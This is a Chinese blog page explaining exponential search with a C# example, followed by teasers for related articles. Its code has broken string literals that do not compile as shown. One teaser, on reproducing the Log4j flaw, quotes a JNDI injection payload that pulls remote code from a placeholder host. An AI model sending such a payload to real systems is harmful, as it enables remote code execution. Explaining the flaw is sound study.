c# 指数搜索(Exponential Search)

 

        该搜索算法的名称可能会产生误导,因为它的工作时间为 O(Log n)。该名称来自于它搜索元素的方式。 

给定一个已排序的数组和要
搜索的元素 x,找到 x 在数组中的位置。

输入:arr[] = {10, 20, 40, 45, 55} 
        x = 45
输出:在索引 3 处找到元素

输入:arr[] = {10, 15, 25, 45, 55} 
        x = 15
输出:元素在索引 1 处找到

我们已经讨论过,线性搜索、二分搜索这个问题。
指数搜索涉及两个步骤:  
        1、查找元素存在的范围
        2、在上面找到的范围内进行二分查找。
如何找到元素可能存在的范围? 
        这个想法是从子数组大小 1 开始,将其最后一个元素与 x 进行比较,然后尝试大小 2,然后是 4,依此类推,直到子数组的最后一个元素不大于。 
        一旦我们找到一个索引 i(在重复将 i 加倍之后),我们就知道该元素必须存在于 i/2 和 i 之间(为什么是 i/2?因为我们在之前的迭代中找不到更大的值)下面给出的是上述步骤的实施。 

示例: 

// C# program to find an element x in a
// sorted array using Exponential search.
using System;
class GFG {
 
// Returns position of first
// occurrence of x in array
static int exponentialSearch(int []arr, 
                         int n, int x)
{
     
    // If x is present at 
    // first location itself
    if (arr[0] == x)
        return 0;
 
    // Find range for binary search 
    // by repeated doubling
    int i = 1;
    while (i < n && arr[i] <= x)
        i = i * 2;
 
    // Call binary search for
    // the found range.
    return binarySearch(arr, i/2, 
                       Math.Min(i, n - 1), x);
}
 
// A recursive binary search
// function. It returns location
// of x in given array arr[l..r] is
// present, otherwise -1
static int binarySearch(int []arr, int l,
                        int r, int x)
{
    if (r >= l)
    {
        int mid = l + (r - l) / 2;
 
        // If the element is present
        // at the middle itself
        if (arr[mid] == x)
            return mid;
 
        // If element is smaller than
        // mid, then it can only be 
        // present n left subarray
        if (arr[mid] > x)
            return binarySearch(arr, l, mid - 1, x);
 
        // Else the element can only 
        // be present in right subarray
        return binarySearch(arr, mid + 1, r, x);
    }
 
    // We reach here when element
    // is not present in array
    return -1;
}
 
// Driver code
public static void Main()
{
    int []arr = {2, 3, 4, 10, 40};
    int n = arr.Length;
    int x = 10;
    int result = exponentialSearch(arr, n, x);
    if (result == -1)
            Console.Write("Element is not 
                          present in array");
        else
            Console.Write("Element is
                           present at index " 
                                   + result);
}
}
 
// This code is contributed by Smitha 

输出
元素出现在索引 3 处
时间复杂度: O(Log n) 
辅助空间:上述二分查找的实现是递归的,需要 O(Log n) 空间。通过迭代二分搜索,我们只需要 O(1) 空间。
指数搜索的应用: 
        1、指数二分搜索对于数组大小无限的无界搜索特别有用。请参阅无界二分搜索示例。
        2、对于有界数组,以及当要搜索的元素更接近第一个元素时,它比二分搜索效果更好。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519838.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

检验平台最基本的技术要求有哪几条

检验平台最基本的技术要求通常有以下几条&#xff1a; 系统稳定性&#xff1a;检验平台应具备良好的稳定性&#xff0c;能够长时间运行而不出现系统崩溃或异常情况。 数据安全性&#xff1a;检验平台应具备对数据进行安全存储和传输的能力&#xff0c;确保数据不被非法获取、篡…

吴恩达机器学习笔记:第 6 周-11机器学习系统的设计(Machine Learning System Design)11.1-11.5

目录 第 6 周 11、 机器学习系统的设计(Machine Learning System Design)11.1 首先要做什么11.2 误差分析11.3 类偏斜的误差度量11.4 查准率和查全率之间的权衡11.5 机器学习的数据 第 6 周 11、 机器学习系统的设计(Machine Learning System Design) 11.1 首先要做什么 在接…

基于Python的豆瓣电影评分可视化,豆瓣电影评分预测系统

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

2024年阿里云4月服务器有哪些优惠活动?

2024年阿里云服务器4月优惠活动有哪些&#xff1f;4月份最新优惠活动有99计划云服务器99元一年、学生服务器、游戏服务器优惠、云服务器精选特惠、高校计划优惠券300元、阿里云服务器免费试用等活动。4月云服务器最新优惠价格2核2G3M带宽99元一年、2核4G5M带宽199元一年&#x…

AcWing 312. 乌龟棋(每日一题)

原题链接&#xff1a;312. 乌龟棋 - AcWing题库 小明过生日的时候&#xff0c;爸爸送给他一副乌龟棋当作礼物。 乌龟棋的棋盘只有一行&#xff0c;该行有 N 个格子&#xff0c;每个格子上一个分数&#xff08;非负整数&#xff09;。 棋盘第 1 格是唯一的起点&#xff0c;第…

vue + koa + Sequelize + 阿里云部署 + 宝塔:宝塔数据库连接

之前文章已经介绍了宝塔上传前后端代码并部署&#xff0c;不清楚的请看这篇文章&#xff1a; vue koa 阿里云部署 宝塔&#xff1a;宝塔前后端部署 下面是宝塔创建数据库&#xff1a; 我用的 koa Sequelize 连接的数据库&#xff0c;Sequelize 非常适合前端使用&#xf…

Map源码解析

基本介绍 其实HashMap底层是个什么东西我们之前也讲过, 就是一个哈希桶(差不多可以看成一个数组), 然后每一个节点又连接着链表/红黑树之类的, 下面让我们看一看具体在源码上是怎样实现的: 常量及其它 -> static final int DEFAULT_INITIAL_CAPACITY 1 << 4; //这个…

springboot 在fegin调用中sdk集成主工程,A component required a bean of type.....

一 前景描述 1.1 总结 1.主工程启动类&#xff08;这里是FeginApp8081&#xff09;所在的路径&#xff0c;和调用sdk的类&#xff0c;这里是FeginJiekou接口类型&#xff0c;其所在目录和主工程目录启动一致。则不需要在启动加制定扫描注解。 主工程启动类路径&#xff1a;…

《C++程序设计》阅读笔记【4-指针(2)】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;《C程序设计》阅读笔记 本文对应的PDF源文件请关注微信公众号程序员刘同学&#xff0c;回复C程序设计获取下载链接。 1 指针1.1 字符指针1.1.1 字符串的表示1.1.2 字符串的属性1.1.3 字符…

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑&#xff0c;编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面&#xff0c;异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式&#xff1b; 1.利用trycatchfinaly语句处理异常&#xff0c;优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

C盘清理指南

1&#xff0c;临时文件清理 %TEMP%是Windows系统临时文件的环境变量&#xff0c;直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件&#xff0c;但实际上这样清理并不彻底&#xff0c;我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI&#xff0c;CCF&#xff0c;EI及核心期刊绘图宝典&#xff0c;爆款持续更新&#xff0c;助力科研&#xff01; 本期分享&#xff1a; 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图&#xff0c;文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤&#xff08;filter&#xff09;1.2 映射&#xff08;map&#xff09;1.3 排序&#xff08;sorted&#xff09;1.4 去重&#xff08;distinct&#xff09; 二、 终端操作2.1 收集&#xff08;collect&#xff09;2.2 计数&#xff08;count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 你不能只是单纯的改变节点内部的值&#xff0c;而是需要实际的进行节点交换。 思路 创建虚拟头节点&#xff0c;画图&#xff0c;确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中&#xff0c;下面是一题Python求函数极限的例子&#xff1a; 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…